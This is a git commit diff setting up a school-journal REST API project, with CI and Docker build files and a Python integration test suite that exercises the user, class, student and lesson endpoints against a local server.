commit 33c97acade8fd9df8b859ae7101fd058a4d01923 Author: greenhazz Date: Wed Nov 26 21:32:41 2025 +0300 init here diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..5cdb276 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,7 @@ +* + +!исх/** +!си/** +!карга.json +!wrapper/** +!frontend/** diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c5cb7b6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +/build +target/ +*.sqlite +*.db +__pycache__ diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 0000000..efc212f --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,114 @@ +image: ubuntu:25.10 + +stages: + - build + - test + - deploy + +build: + stage: build + variables: + DEBIAN_FRONTEND: noninteractive + LANG: C.UTF-8 + LC_ALL: C.UTF-8 + cache: + key: "build-$CI_COMMIT_REF_SLUG" + paths: + - build/ + policy: pull-push + before_script: + - apt-get update + - apt-get install -y --no-install-recommends clang build-essential sqlite3 libsqlite3-dev wget ca-certificates + - update-ca-certificates || true + - wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga + - chmod +x /usr/local/bin/carga + script: + - I_AM_SCARED_PLEASE_TALK_TO_ME=true carga собери + artifacts: + name: "target-$CI_COMMIT_REF_SLUG" + paths: + - build/target.exe + +build_wrapper: + stage: build + image: rust:1.90-bookworm + variables: + CARGO_HOME: "$CI_PROJECT_DIR/.cargo" + cache: + key: "cargo-$CI_COMMIT_REF_SLUG" + paths: + - .cargo/registry + - .cargo/git + - wrapper/target + policy: pull-push + script: + - cd wrapper + - cargo build --release + artifacts: + name: "wrapper-$CI_COMMIT_REF_SLUG" + paths: + - wrapper/target/release/wrapper + +test: + stage: test + dependencies: + - build + - build_wrapper + variables: + DEBIAN_FRONTEND: noninteractive + LANG: C.UTF-8 + LC_ALL: C.UTF-8 + before_script: + - apt-get update + - apt-get install -y --no-install-recommends python3 python3-pip + - python3 -m pip install --break-system-packages requests + script: + - export SERVER_PATH="$(pwd)/wrapper/target/release/wrapper" + - export BIN_PATH="$(pwd)/build/target.exe" + - python3 ./autotest/main.py -s + +pages: + stage: deploy + image: node:20 + script: + - npm init -y + - npm install swagger-ui-dist + - mkdir -p public + - cp -r node_modules/swagger-ui-dist/* public/ + - cp ./openapi/srab.yaml public/ + - | + cat > public/index.html <<'EOF' + + + + + SRAB API Documentation + + + + + +
+ + + + EOF + artifacts: + paths: + - public + only: + refs: + - master + changes: + - openapi/**/* + - .gitlab-ci.yml diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..5392341 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,6 @@ +{ + "[trivil]": { + "editor.autoIndent": "advanced", + "editor.unicodeHighlight.ambiguousCharacters": false + } +} diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..d67772c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,31 @@ +FROM rust:1.90-bookworm AS wrapper_builder + +COPY wrapper/ /app +WORKDIR /app + +RUN cargo build --release + +FROM ubuntu:25.10 + +RUN apt-get update && \ + apt-get install -y clang build-essential sqlite3 libsqlite3-dev wget + +RUN wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga && \ + chmod +x /usr/local/bin/carga + +WORKDIR /app + +COPY карга.json ./ +COPY исх/ ./исх +COPY си/ ./си + +RUN --mount=type=cache,target=/app/build carga собери && \ + cp /app/build/target.exe /app/target.exe + +COPY --from=wrapper_builder /app/target/release/wrapper /app/wrapper +COPY frontend /app/frontend + +ENV BIN_PATH=/app/target.exe +ENV STATIC_PATH=/app/frontend +EXPOSE 1337 +CMD ["/app/wrapper"] diff --git a/autotest/__init__.py b/autotest/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/autotest/cases/__init__.py b/autotest/cases/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/autotest/cases/case_01_users_create_teacher.py b/autotest/cases/case_01_users_create_teacher.py new file mode 100644 index 0000000..ba336c4 --- /dev/null +++ b/autotest/cases/case_01_users_create_teacher.py @@ -0,0 +1,25 @@ +TEST_NAME = "users:create teacher" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: context.teacher_first, + context.K_LAST_NAME: context.teacher_last, + context.K_MIDDLE_NAME: context.teacher_middle, + context.K_EDUCATION: context.teacher_education, + context.K_PASSWORD: context.teacher_password, + context.K_CONFIRM_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request("POST", "/api/users", body=payload) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + user_id = context.query_single_value( + "SELECT id FROM users WHERE username = ?", + (context.teacher_username,), + ) + context.teacher_user_id = user_id + teacher_id = context.query_single_value( + "SELECT id FROM teachers WHERE user_id = ?", + (user_id,), + ) + context.expect(teacher_id > 0, "teacher id must be positive") + context.teacher_id = teacher_id diff --git a/autotest/cases/case_02_users_create_mismatch.py b/autotest/cases/case_02_users_create_mismatch.py new file mode 100644 index 0000000..689c92a --- /dev/null +++ b/autotest/cases/case_02_users_create_mismatch.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:create mismatch" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: "Bob", + context.K_LAST_NAME: "Doe", + context.K_MIDDLE_NAME: "Ray", + context.K_EDUCATION: "History", + context.K_PASSWORD: "OnePass", + context.K_CONFIRM_PASSWORD: "OtherPass", + } + status, body, _ = context.send_request("POST", "/api/users", body=payload) + context.expect(status == 400, f"expected 400, got {status}") + context.expect( + context.MESSAGE_PASSWORD_MISMATCH in body, + "expected mismatch message", + ) diff --git a/autotest/cases/case_03_users_login_success.py b/autotest/cases/case_03_users_login_success.py new file mode 100644 index 0000000..f2f6e74 --- /dev/null +++ b/autotest/cases/case_03_users_login_success.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:login success" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 200, f"expected 200, got {status}") + context.expect( + body == context.MESSAGE_LOGIN_OK, + f"unexpected login body: {body!r}", + ) diff --git a/autotest/cases/case_04_users_login_failure.py b/autotest/cases/case_04_users_login_failure.py new file mode 100644 index 0000000..bd79c95 --- /dev/null +++ b/autotest/cases/case_04_users_login_failure.py @@ -0,0 +1,14 @@ +TEST_NAME = "users:login failure" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: "WrongPass", + } + status, _, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 401, f"expected 401, got {status}") diff --git a/autotest/cases/case_05_users_change_password.py b/autotest/cases/case_05_users_change_password.py new file mode 100644 index 0000000..53142c4 --- /dev/null +++ b/autotest/cases/case_05_users_change_password.py @@ -0,0 +1,16 @@ +TEST_NAME = "users:change password" + + +def run(context) -> None: + payload = {context.K_NEW_PASSWORD: context.teacher_password_new} + status, body, _ = context.send_request( + "PUT", + "/api/users/password", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}, body={body!r}") + context.teacher_password = context.teacher_password_new diff --git a/autotest/cases/case_06_users_login_with_new_password.py b/autotest/cases/case_06_users_login_with_new_password.py new file mode 100644 index 0000000..227652e --- /dev/null +++ b/autotest/cases/case_06_users_login_with_new_password.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:login with new password" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 200, f"expected 200, got {status}") + context.expect( + body == context.MESSAGE_LOGIN_OK, + f"unexpected login body: {body!r}", + ) diff --git a/autotest/cases/case_07_teachers_auth_required.py b/autotest/cases/case_07_teachers_auth_required.py new file mode 100644 index 0000000..2bfe2d0 --- /dev/null +++ b/autotest/cases/case_07_teachers_auth_required.py @@ -0,0 +1,9 @@ +TEST_NAME = "teachers:auth required" + + +def run(context) -> None: + status, _, _ = context.send_request("GET", "/api/classes") + context.expect(status == 401, f"expected 401, got {status}") + payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"} + status, _, _ = context.send_request("POST", "/api/classes", body=payload) + context.expect(status == 401, f"expected 401, got {status}") diff --git a/autotest/cases/case_08_teachers_create_class.py b/autotest/cases/case_08_teachers_create_class.py new file mode 100644 index 0000000..ffbe4eb --- /dev/null +++ b/autotest/cases/case_08_teachers_create_class.py @@ -0,0 +1,31 @@ +import json + +TEST_NAME = "teachers:create class" + + +def run(context) -> None: + payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"} + status, body, _ = context.send_request( + "POST", + "/api/classes", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + data = json.loads(body) + context.class_id = int(data[context.K_IDENTIFIER]) + context.expect( + data[context.K_CLASS_NUMBER] == payload[context.K_CLASS_NUMBER], + "class number mismatch", + ) + context.expect( + data[context.K_CLASS_LETTER] == payload[context.K_CLASS_LETTER], + "class letter mismatch", + ) + context.expect( + int(data[context.K_CREATOR]) > 0, + "creator id must be positive", + ) diff --git a/autotest/cases/case_09_teachers_list_classes.py b/autotest/cases/case_09_teachers_list_classes.py new file mode 100644 index 0000000..70e832f --- /dev/null +++ b/autotest/cases/case_09_teachers_list_classes.py @@ -0,0 +1,24 @@ +import json + +TEST_NAME = "teachers:list classes" + + +def run(context) -> None: + status, body, _ = context.send_request( + "GET", + "/api/classes", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + data = json.loads(body) + entries = data.get(context.K_CLASSES, []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.class_id + for item in entries + ), + "class not listed", + ) diff --git a/autotest/cases/case_10_teachers_create_extra_class.py b/autotest/cases/case_10_teachers_create_extra_class.py new file mode 100644 index 0000000..ad0a83c --- /dev/null +++ b/autotest/cases/case_10_teachers_create_extra_class.py @@ -0,0 +1,19 @@ +import json + +TEST_NAME = "teachers:create extra class" + + +def run(context) -> None: + payload = {context.K_CLASS_NUMBER: 6, context.K_CLASS_LETTER: "B"} + status, body, _ = context.send_request( + "POST", + "/api/classes", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}") + data = json.loads(body) + context.class_two_id = int(data[context.K_IDENTIFIER]) diff --git a/autotest/cases/case_11_teachers_delete_extra_class.py b/autotest/cases/case_11_teachers_delete_extra_class.py new file mode 100644 index 0000000..e619866 --- /dev/null +++ b/autotest/cases/case_11_teachers_delete_extra_class.py @@ -0,0 +1,27 @@ +TEST_NAME = "teachers:delete extra class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_two_id}" + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 404, + f"expected 404 on repeated delete, got {status}", + ) + context.class_two_id = None diff --git a/autotest/cases/case_12_students_create_student.py b/autotest/cases/case_12_students_create_student.py new file mode 100644 index 0000000..eb7f373 --- /dev/null +++ b/autotest/cases/case_12_students_create_student.py @@ -0,0 +1,33 @@ +TEST_NAME = "students:create student" + + +def run(context) -> None: + status, _, _ = context.send_request("POST", "/api/students", body={}) + context.expect(status == 401, f"expected 401, got {status}") + payload = { + context.K_FIRST_NAME: "Charlie", + context.K_LAST_NAME: "Stone", + context.K_MIDDLE_NAME: "Lee", + context.K_PASSWORD: "Student42", + context.K_CONFIRM_PASSWORD: "Student42", + context.K_SNILS: "00011122233", + context.K_PASSPORT: "AB1234567", + } + status, body, _ = context.send_request( + "POST", + "/api/students", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + context.student_one_id = context.query_single_value( + "SELECT id FROM students WHERE snils = ?", + (payload[context.K_SNILS],), + ) + context.student_one_username = ( + f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}" + ) + context.student_one_password = payload[context.K_PASSWORD] diff --git a/autotest/cases/case_13_students_create_second_student.py b/autotest/cases/case_13_students_create_second_student.py new file mode 100644 index 0000000..6dbeadd --- /dev/null +++ b/autotest/cases/case_13_students_create_second_student.py @@ -0,0 +1,31 @@ +TEST_NAME = "students:create second student" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: "Daisy", + context.K_LAST_NAME: "King", + context.K_MIDDLE_NAME: "May", + context.K_PASSWORD: "Student84", + context.K_CONFIRM_PASSWORD: "Student84", + context.K_SNILS: "99988877766", + context.K_PASSPORT: "CD7654321", + } + status, body, _ = context.send_request( + "POST", + "/api/students", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + context.student_two_id = context.query_single_value( + "SELECT id FROM students WHERE snils = ?", + (payload[context.K_SNILS],), + ) + context.student_two_username = ( + f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}" + ) + context.student_two_password = payload[context.K_PASSWORD] diff --git a/autotest/cases/case_14_teachers_add_student_to_class.py b/autotest/cases/case_14_teachers_add_student_to_class.py new file mode 100644 index 0000000..d91e4eb --- /dev/null +++ b/autotest/cases/case_14_teachers_add_student_to_class.py @@ -0,0 +1,32 @@ +TEST_NAME = "teachers:add student to class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/students/{context.student_two_id}" + status, _, _ = context.send_request("POST", path) + context.expect(status == 401, f"expected 401, got {status}") + status, _, _ = context.send_request( + "POST", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}") + invalid_path = ( + f"/api/classes/{context.class_id + 999}/students/" + f"{context.student_two_id}" + ) + status, _, _ = context.send_request( + "POST", + invalid_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) diff --git a/autotest/cases/case_15_students_list.py b/autotest/cases/case_15_students_list.py new file mode 100644 index 0000000..b0659f9 --- /dev/null +++ b/autotest/cases/case_15_students_list.py @@ -0,0 +1,31 @@ +import json + +TEST_NAME = "students:list" + + +def run(context) -> None: + status, _, _ = context.send_request("GET", "/api/students") + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + "/api/students", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + students = data.get("ученики", []) + ids = {int(item[context.K_IDENTIFIER]) for item in students} + + context.expect( + context.student_one_id in ids, + "first student missing from list", + ) + context.expect( + context.student_two_id in ids, + "second student missing from list", + ) diff --git a/autotest/cases/case_16_students_get.py b/autotest/cases/case_16_students_get.py new file mode 100644 index 0000000..7278961 --- /dev/null +++ b/autotest/cases/case_16_students_get.py @@ -0,0 +1,48 @@ +import json + +TEST_NAME = "students:get one" + + +def run(context) -> None: + path = f"/api/students/{context.student_one_id}" + status, _, _ = context.send_request("GET", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + context.expect( + int(data[context.K_IDENTIFIER]) == context.student_one_id, + "unexpected student id", + ) + context.expect( + data.get(context.K_FIRST_NAME), + "missing student first name", + ) + context.expect( + data.get(context.K_LAST_NAME), + "missing student last name", + ) + context.expect( + data.get(context.K_USERNAME), + "missing student username", + ) + + missing_path = f"/api/students/{context.student_two_id + 999}" + status, _, _ = context.send_request( + "GET", + missing_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404, got {status}") diff --git a/autotest/cases/case_17_students_delete.py b/autotest/cases/case_17_students_delete.py new file mode 100644 index 0000000..9d50ca6 --- /dev/null +++ b/autotest/cases/case_17_students_delete.py @@ -0,0 +1,39 @@ +TEST_NAME = "students:delete" + + +def run(context) -> None: + path = f"/api/students/{context.student_one_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/students/{context.student_one_id + 999}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "GET", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after delete, got {status}") + + context.student_one_id = None diff --git a/autotest/cases/case_18_lessons_teacher_add.py b/autotest/cases/case_18_lessons_teacher_add.py new file mode 100644 index 0000000..ebf5a97 --- /dev/null +++ b/autotest/cases/case_18_lessons_teacher_add.py @@ -0,0 +1,86 @@ +import json + +TEST_NAME = "lessons:create" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/lessons" + payload_primary = { + "дата": "2025-09-01", + "название": "Алгебра", + "домашнее задание": "Упражнения 1-3", + } + + status, _, _ = context.send_request("POST", path, body=payload_primary) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "POST", + f"/api/classes/{context.class_id + 999}/lessons", + body=payload_primary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, body, _ = context.send_request( + "POST", + path, + body=payload_primary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + + data = json.loads(body) + context.lesson_first_id = int(data[context.K_IDENTIFIER]) + context.lesson_first_date = payload_primary["дата"] + context.lesson_first_title = payload_primary["название"] + context.expect( + int(data["идентификатор класса"]) == context.class_id, + "lesson class mismatch", + ) + context.expect( + data["название"] == payload_primary["название"], + "lesson title mismatch", + ) + context.expect( + data["дата"] == payload_primary["дата"], + "lesson date mismatch", + ) + + payload_secondary = { + "дата урока": "2025-09-02", + "тема": "Геометрия", + "домашка": "Читать параграф 4", + } + + status, body, _ = context.send_request( + "POST", + path, + body=payload_secondary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 201, + f"expected 201 for second lesson, got {status}", + ) + + data = json.loads(body) + context.lesson_second_id = int(data[context.K_IDENTIFIER]) + context.lesson_second_date = payload_secondary["дата урока"] + context.lesson_second_title = payload_secondary["тема"] + context.expect( + data["домашнее задание"] == payload_secondary["домашка"], + "secondary homework mismatch", + ) diff --git a/autotest/cases/case_19_lessons_list.py b/autotest/cases/case_19_lessons_list.py new file mode 100644 index 0000000..2f913de --- /dev/null +++ b/autotest/cases/case_19_lessons_list.py @@ -0,0 +1,80 @@ +import json + +TEST_NAME = "lessons:list" + + +def run(context) -> None: + base_path = f"/api/classes/{context.class_id}/lessons" + status, _, _ = context.send_request("GET", base_path) + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + base_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + lessons = data.get("уроки", []) + context.expect(len(lessons) >= 2, "expected at least two lessons") + + def find_lesson(entry_id: int): + for item in lessons: + if int(item[context.K_IDENTIFIER]) == entry_id: + return item + return None + + first_entry = find_lesson(context.lesson_first_id) + context.expect(first_entry is not None, "first lesson missing") + context.expect( + first_entry.get("название") == context.lesson_first_title, + "first lesson title mismatch", + ) + + filter_path = ( + f"/api/classes/{context.class_id}/lessons/date/" + f"{context.lesson_first_date}" + ) + status, body, _ = context.send_request( + "GET", + filter_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for filter, got {status}") + + filtered = json.loads(body).get("уроки", []) + context.expect( + len(filtered) == 1, + f"expected single lesson in filter, got {len(filtered)}", + ) + context.expect( + int(filtered[0][context.K_IDENTIFIER]) == context.lesson_first_id, + "filter returned unexpected lesson", + ) + + student_headers = context.make_auth( + context.student_two_username, + context.student_two_password, + ) + status, body, _ = context.send_request( + "GET", + base_path, + headers=student_headers, + ) + context.expect(status == 200, f"expected 200 for student, got {status}") + + student_view = json.loads(body).get("уроки", []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.lesson_second_id + for item in student_view + ), + "student view missing lesson", + ) diff --git a/autotest/cases/case_20_lessons_teacher_delete.py b/autotest/cases/case_20_lessons_teacher_delete.py new file mode 100644 index 0000000..86a801e --- /dev/null +++ b/autotest/cases/case_20_lessons_teacher_delete.py @@ -0,0 +1,81 @@ +import json + +TEST_NAME = "lessons:delete" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/lessons/{context.lesson_first_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id + 999}/lessons/" + f"{context.lesson_first_id}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after delete, got {status}") + + filter_path = ( + f"/api/classes/{context.class_id}/lessons/date/" + f"{context.lesson_first_date}" + ) + status, body, _ = context.send_request( + "GET", + filter_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for filter, got {status}") + + filtered = json.loads(body).get("уроки", []) + context.expect(len(filtered) == 0, "filter should be empty after delete") + + status, body, _ = context.send_request( + "GET", + f"/api/classes/{context.class_id}/lessons", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for list, got {status}") + + remaining = json.loads(body).get("уроки", []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.lesson_second_id + for item in remaining + ), + "second lesson missing after delete", + ) + + context.lesson_first_id = None diff --git a/autotest/cases/case_21_teachers_remove_student_from_class.py b/autotest/cases/case_21_teachers_remove_student_from_class.py new file mode 100644 index 0000000..3c3a321 --- /dev/null +++ b/autotest/cases/case_21_teachers_remove_student_from_class.py @@ -0,0 +1,55 @@ +TEST_NAME = "teachers:remove student from class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/students/{context.student_two_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id + 999}/students/" + f"{context.student_two_id}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id}/students/" + f"{context.student_two_id + 999}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 404, + f"expected 404 for foreign student, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after removal, got {status}") diff --git a/autotest/main.py b/autotest/main.py new file mode 100644 index 0000000..9475639 --- /dev/null +++ b/autotest/main.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python3 +import http.client +import importlib +import json +import os +import socket +import sqlite3 +import subprocess +import sys +import time +import argparse +from pathlib import Path +import traceback + +ROOT = Path(__file__).resolve().parents[1] +DB_PATH = ROOT / "var" / "srab.db" +SERVER_PATH = os.environ.get("SERVER_PATH", ROOT / "build" / "target.exe") +HOST = "127.0.0.1" +PORT = 1337 + +if str(ROOT) not in sys.path: + sys.path.insert(0, str(ROOT)) + +K_FIRST_NAME = "имя" +K_LAST_NAME = "фамилия" +K_MIDDLE_NAME = "отчество" +K_EDUCATION = "образование" +K_PASSWORD = "пароль" +K_CONFIRM_PASSWORD = "повтор пароля" +K_NEW_PASSWORD = "новый пароль" +K_SNILS = "снилс" +K_PASSPORT = "паспорт" +K_CLASS_NUMBER = "номер" +K_CLASS_LETTER = "буква" +K_CLASSES = "классы" +K_IDENTIFIER = "идентификатор" +K_CREATOR = "создатель" +K_USERNAME = "имя пользователя" + +MESSAGE_PASSWORD_MISMATCH = "Пароли не совпадают." +MESSAGE_LOGIN_OK = "Рады видеть вас снова :3" + +CASE_PACKAGE = "autotest.cases" +CASE_MODULES = [ + "case_01_users_create_teacher", + "case_02_users_create_mismatch", + "case_03_users_login_success", + "case_04_users_login_failure", + "case_05_users_change_password", + "case_06_users_login_with_new_password", + "case_07_teachers_auth_required", + "case_08_teachers_create_class", + "case_09_teachers_list_classes", + "case_10_teachers_create_extra_class", + "case_11_teachers_delete_extra_class", + "case_12_students_create_student", + "case_13_students_create_second_student", + "case_14_teachers_add_student_to_class", + "case_15_students_list", + "case_16_students_get", + "case_17_students_delete", + "case_18_lessons_teacher_add", + "case_19_lessons_list", + "case_20_lessons_teacher_delete", + "case_21_teachers_remove_student_from_class", +] + + +class TestContext: + def __init__(self) -> None: + self.teacher_first = "Alice" + self.teacher_last = "Smith" + self.teacher_middle = "Ann" + self.teacher_education = "Math" + self.teacher_password_initial = "Secret42" + self.teacher_password_new = "Secret99" + self.teacher_password = self.teacher_password_initial + self.teacher_username = f"{self.teacher_first}.{self.teacher_last}" + + self.class_id = None + self.class_two_id = None + self.student_one_id = None + self.student_two_id = None + self.teacher_id = None + self.teacher_user_id = None + self.lesson_first_id = None + self.lesson_first_date = None + self.lesson_first_title = None + self.lesson_second_id = None + self.lesson_second_date = None + self.lesson_second_title = None + self.student_one_username = None + self.student_one_password = None + self.student_two_username = None + self.student_two_password = None + + self.K_FIRST_NAME = K_FIRST_NAME + self.K_LAST_NAME = K_LAST_NAME + self.K_MIDDLE_NAME = K_MIDDLE_NAME + self.K_EDUCATION = K_EDUCATION + self.K_PASSWORD = K_PASSWORD + self.K_CONFIRM_PASSWORD = K_CONFIRM_PASSWORD + self.K_NEW_PASSWORD = K_NEW_PASSWORD + self.K_SNILS = K_SNILS + self.K_PASSPORT = K_PASSPORT + self.K_CLASS_NUMBER = K_CLASS_NUMBER + self.K_CLASS_LETTER = K_CLASS_LETTER + self.K_CLASSES = K_CLASSES + self.K_IDENTIFIER = K_IDENTIFIER + self.K_CREATOR = K_CREATOR + self.K_USERNAME = K_USERNAME + self.MESSAGE_PASSWORD_MISMATCH = MESSAGE_PASSWORD_MISMATCH + self.MESSAGE_LOGIN_OK = MESSAGE_LOGIN_OK + + def expect(self, condition: bool, message: str) -> None: + expect(condition, message) + + def send_request(self, method: str, path: str, *, body=None, headers=None): + return send_request(method, path, body=body, headers=headers) + + def query_single_value(self, sql: str, params) -> int: + return query_single_value(sql, params) + + def make_auth(self, username: str, password: str) -> dict: + return make_auth(username, password) + + +def remove_database() -> None: + if DB_PATH.exists(): + DB_PATH.unlink() + + +def start_server(silent) -> subprocess.Popen: + out = subprocess.DEVNULL if silent else None + + return subprocess.Popen( + [str(SERVER_PATH)], + cwd=str(ROOT), + stdout=out, + stderr=out, + ) + + +def wait_for_server(timeout: float = 10.0) -> None: + deadline = time.time() + timeout + while time.time() < deadline: + try: + with socket.create_connection((HOST, PORT), timeout=0.25): + return + except OSError: + time.sleep(0.05) + raise RuntimeError("server did not accept connections") + + +def stop_server(proc: subprocess.Popen) -> None: + if proc.poll() is not None: + return + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + + +def expect(condition: bool, message: str) -> None: + if not condition: + raise AssertionError(message) + + +def make_auth(username: str, password: str) -> dict: + return {"Authorization": f"Basic {username} {password}"} + + +def send_request(method: str, path: str, *, body=None, headers=None): + conn = http.client.HTTPConnection(HOST, PORT, timeout=5) + try: + data = None + hdrs = {} if headers is None else dict(headers) + if body is not None: + if isinstance(body, (dict, list)): + data = json.dumps(body, ensure_ascii=False).encode("utf-8") + hdrs.setdefault( + "Content-Type", + "application/json; charset=utf-8", + ) + elif isinstance(body, str): + data = body.encode("utf-8") + else: + data = body + conn.request(method, path, body=data, headers=hdrs) + response = conn.getresponse() + payload = response.read() + text = payload.decode("utf-8") if payload else "" + return response.status, text, dict(response.getheaders()) + finally: + conn.close() + + +def query_single_value(sql: str, params) -> int: + with sqlite3.connect(DB_PATH) as conn: + conn.row_factory = sqlite3.Row + row = conn.execute(sql, params).fetchone() + expect(row is not None, f"query returned no rows: {sql!r} {params!r}") + return int(row["id"]) + + +def load_cases(): + modules = [] + for name in CASE_MODULES: + module = importlib.import_module(f"{CASE_PACKAGE}.{name}") + modules.append(module) + return modules + + +def 